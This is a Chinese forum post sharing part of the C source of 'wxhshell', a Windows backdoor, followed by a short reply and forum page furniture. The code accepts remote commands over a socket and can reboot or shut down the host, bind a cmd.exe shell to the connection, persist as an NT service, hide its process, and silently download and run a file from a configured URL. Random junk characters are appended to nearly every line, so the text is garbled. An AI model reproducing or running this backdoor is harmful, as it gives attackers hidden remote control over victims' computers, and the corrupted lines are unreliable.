  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]2^tV.^S^  
  else \E9Hk{V:6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Dg%ec  
  } c,cc avv{I  
  else { ~i`@  
u"rK5'  
    switch(cmd[0]) {  tCT-cs  
  ]_cBd)3P}  
  // 帮助 YeN /J.R  
  case '?': { ttEQgkd`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z3:M%)e_u$  
    break; G k'j<a  
  } <SiD m-=E  
  // 安装 7@[3]c<=  
  case 'i': { bjgf8427I  
    if(Install()) 4nC`DJ;V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p&B c<+3e  
    else jft%\sY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a&>Tk%  
    break; q3+G  
    } 2k\i/i/Y  
  // 卸载 3j{VpacZY  
  case 'r': { 9fk@C/$  
    if(Uninstall()) #[.vfG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'qGKS:8  
    else Y2&>;ym!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); czMu<@c [  
    break; h, |49~^@"  
    } s%tPGjMq  
  // 显示 wxhshell 所在路径 8"!Z^_y)  
  case 'p': { l2v4SvbX  
    char svExeFile[MAX_PATH]; s|7(VUPL  
    strcpy(svExeFile,"\n\r"); ;>*l?m-S@n  
      strcat(svExeFile,ExeFile); OBGA~E;%  
        send(wsh,svExeFile,strlen(svExeFile),0); 3t  
    break; E,6(/`0H*  
    } >Ab>"!/'K  
  // 重启 DqgYc[UGA  
  case 'b': { yo)a_rY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d/Q}I[J.u  
    if(Boot(REBOOT)) kF:4 [d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wa#!O$u  
    else { Qr`WPTQr"  
    closesocket(wsh); ^i3~i?\,P  
    ExitThread(0); K".\QF,:  
    } GF6c6TXF@  
    break; `v*UY  
    } .&:GO D  
  // 关机 m'Jk!eo  
  case 'd': { +xqPyR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hFORs.L&G  
    if(Boot(SHUTDOWN)) OiB*,TWV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9z N U  
    else { |meo  
    closesocket(wsh); %w <59d6  
    ExitThread(0); E?c)WA2iH  
    } wGd4:W  
    break; V K/;ohTTP  
    } W~15[r0  
  // 获取shell D-)jmz>R  
  case 's': { Lod$&k@@  
    CmdShell(wsh); q 6Q;9,  
    closesocket(wsh); 9N(<OY+Dgm  
    ExitThread(0); Dq/ _#&S  
    break; %B^nQbNDM  
  } <VP@#  
  // 退出 U#oe8(?#  
  case 'x': { R} nY8zE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qXPT1%+)y  
    CloseIt(wsh); zz ^2/l  
    break; [ m*=Q  
    } n\v\<mVTb7  
  // 离开 :Jp$_T&E  
  case 'q': { z7+y{-{Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #(o 'G4T  
    closesocket(wsh); !!Tk'=t9"3  
    WSACleanup(); 0 S3~IeJ  
    exit(1); Ndj9B|s_  
    break; \>0F{-cR$  
        } pg3B^  
  } ?!H <V@a  
  } \tc`Aj%K  
A1xY8?#?~c  
  // 提示信息 )A]E:]2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8Z;wF  
} h.Cr;w,2R  
  } 0{ov LzW  
{7^7)^@  
  return; q2VQS1R`8  
} 'jp nQcwxx  
w$J0/eX{A  
// shell模块句柄 H-%)r&"vn  
int CmdShell(SOCKET sock) ?>lvV+3^`  
{ u@SE)qg  
STARTUPINFO si; a jy.K'B*  
ZeroMemory(&si,sizeof(si)); >SJ# rZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &(!Sy?tNe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x{u7#s1|/  
PROCESS_INFORMATION ProcessInfo; pm<zw-  
char cmdline[]="cmd"; {r2-^Q HF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YQ>P{I%J  
  return 0; ;I'pC?!y  
} jKV,i?  
7&G[mOx0  
// 自身启动模式 bK `'zi  
int StartFromService(void) ]a|3"DP5  
{ V}732?Jy  
typedef struct G!~[+B  
{ <wwcPe}  
  DWORD ExitStatus; 3 wVN:g7  
  DWORD PebBaseAddress; kq6K<e4jO  
  DWORD AffinityMask; 0dhJ# [Y  
  DWORD BasePriority; ZOl =zn  
  ULONG UniqueProcessId; qX{m7  
  ULONG InheritedFromUniqueProcessId; ehEXC  
}   PROCESS_BASIC_INFORMATION; Ou IoO  
*JXiOs  
PROCNTQSIP NtQueryInformationProcess; jyF0asb  
84[T!cDk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T2# W=P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %-@`|  
Wt+aW  
  HANDLE             hProcess; PezUG{q(  
  PROCESS_BASIC_INFORMATION pbi; Yck(Fl  
w5"C<5^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @YyTXg{ZK  
  if(NULL == hInst ) return 0; gO-C[j/  
't=\YFQ*v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hvu>P {  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 70! &  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .fxI)  
CQfrAk4mu  
  if (!NtQueryInformationProcess) return 0; ?4=8z8((!  
D%cWw0Oq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o uKID_ '  
  if(!hProcess) return 0; HxJKS*H;  
qPdNI1 |  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -X(%K6{  
EzY?=<Y(  
  CloseHandle(hProcess); fclmxTy  
x#"|Z&Dw0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :u#Ls,OZz  
if(hProcess==NULL) return 0; <^VZ4$j  
.E|Hk,c9  
HMODULE hMod; yEUFK  
char procName[255]; Ak%M,``(L  
unsigned long cbNeeded; Sv.z9@S  
:bMCmY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "iE9X.6NMu  
-bSe=09;S|  
  CloseHandle(hProcess); tYyva  
2X2,( D!  
if(strstr(procName,"services")) return 1; // 以服务启动 GP ;c$pC  
rAD5n, M]  
  return 0; // 注册表启动 QLo^6S5!  
} W5*%n]s~  
+]Of f^s  
// 主模块 ]B0 >r^  
int StartWxhshell(LPSTR lpCmdLine) FQ?,&s$Bmd  
{ j[YzBXd V  
  SOCKET wsl; [6qa"Ie  
BOOL val=TRUE; ~T<#HSR`  
  int port=0; HGmgQ>q@M$  
  struct sockaddr_in door; s)<#a(!  
zmy94Y5PE  
  if(wscfg.ws_autoins) Install(); M*| y&XBe  
J=6 7As  
port=atoi(lpCmdLine); sChMIbq!Av  
94r8DkI  
if(port<=0) port=wscfg.ws_port; .EVy?-   
7\ d{F)7E  
  WSADATA data; VtF^; f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }(O/y-  
!_s|h@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m` cw:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dz.]5R  
  door.sin_family = AF_INET; iC&=-$vu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HTI1eLZ2  
  door.sin_port = htons(port); .z+?b8Q\  
1&c>v3 $2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8Q^yh6z  
closesocket(wsl); %JDG aG'  
return 1; CFqoD l  
} -yeQQ4b  
0m,A`*o  
  if(listen(wsl,2) == INVALID_SOCKET) { TCp!4-~,  
closesocket(wsl); 49}yw3-  
return 1; Pgg6(O9}B^  
} c"t1E-Nsk  
  Wxhshell(wsl); 4vTO  #F  
  WSACleanup(); ` =dD6r  
PaV[{ CD  
return 0; &oiX/UaY  
@Fqh]1t  
} rq9{m(  
nL@ "FZ`(  
// 以NT服务方式启动 hC<X\yxe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'P}"ZHW  
{ FCQoz"M  
DWORD   status = 0; W^0F(9~!(  
  DWORD   specificError = 0xfffffff; m_~ p G  
qAm$yfYs`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l?(nkg["nY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W5(t+$L.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y4) M,+O5  
  serviceStatus.dwWin32ExitCode     = 0; />q=qkdq0  
  serviceStatus.dwServiceSpecificExitCode = 0; @B ~! [l  
  serviceStatus.dwCheckPoint       = 0; +GI[ Kq  
  serviceStatus.dwWaitHint       = 0; WKX5Dl  
cO<]%L0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 57IrD*{  
  if (hServiceStatusHandle==0) return; \v]}  
wRb%-s  
status = GetLastError(); 7CUu:6%  
  if (status!=NO_ERROR) *103  
{ B Hn`e~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >5wA B  
    serviceStatus.dwCheckPoint       = 0; jpyV52  
    serviceStatus.dwWaitHint       = 0; }p}i _'%  
    serviceStatus.dwWin32ExitCode     = status; KSVIX!EsX  
    serviceStatus.dwServiceSpecificExitCode = specificError; (}O)pqZ>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a*CP1@O  
    return; >h<eEv/  
  } f2_LfbvH  
5}9-)\8=z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k@5#^G  
  serviceStatus.dwCheckPoint       = 0; u1` 8f]qt  
  serviceStatus.dwWaitHint       = 0; KpC)A5u6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \^;Gv%E  
} w>; :mf  
=nFT0];  
// 处理NT服务事件,比如:启动、停止 nSsVONHfa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s8}:8  
{ M ^ ZoBsZ  
switch(fdwControl) i2.y)K)  
{ 2iI"|k9M  
case SERVICE_CONTROL_STOP: og MLv}  
  serviceStatus.dwWin32ExitCode = 0; K%qunjv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {d}-SoxH  
  serviceStatus.dwCheckPoint   = 0; I"Ji_4QV  
  serviceStatus.dwWaitHint     = 0; /`hr)  
  { ' F`*(\#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 84 b;G4K  
  } 3{Ze>yFE  
  return; OnH>g"  
case SERVICE_CONTROL_PAUSE: Y::fcMJr;Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o}v # Df  
  break; X~0l1 @!  
case SERVICE_CONTROL_CONTINUE: kR^7Z7+#*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y@KZ:0<  
  break; nX5*pTfjL3  
case SERVICE_CONTROL_INTERROGATE: 5YC56,X  
  break; (&PamsV*8  
}; 'nP'MA9b;a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^K@r!)We  
} 6\ux;lksn*  
)g:UH Ns  
// 标准应用程序主函数 - c<<A.X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ="@W)"r  
{ D> Z>4:EM  
Q+mMp I  
// 获取操作系统版本 ZyCAl9{p  
OsIsNt=GetOsVer(); ;07!^#:L=Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;DC0LJ  
au"HIyi?k  
  // 从命令行安装 "c!s\iuBU  
  if(strpbrk(lpCmdLine,"iI")) Install(); kSU5  }  
KrMIJA4>  
  // 下载执行文件 dwrc"GK!o  
if(wscfg.ws_downexe) { bw%1*;n)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T 6QnCmB4  
  WinExec(wscfg.ws_filenam,SW_HIDE); >]:R{1h  
} qqw6p j  
/T#<g:   
if(!OsIsNt) { x)"=*Jj  
// 如果时win9x,隐藏进程并且设置为注册表启动 6i.'S5.  
HideProc(); 6 $ IXER  
StartWxhshell(lpCmdLine); t vk^L3=<  
} JsnavI6  
else zmr=iK  
  if(StartFromService()) ^+`vh0TPQ  
  // 以服务方式启动 t)cG_+rJ  
  StartServiceCtrlDispatcher(DispatchTable); ,Lv} Xku  
else c::x.B"w  
  // 普通方式启动 Lom%eoH)  
  StartWxhshell(lpCmdLine); @KOa5-u  
82$By]Y9  
return 0; eoEb\zJ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八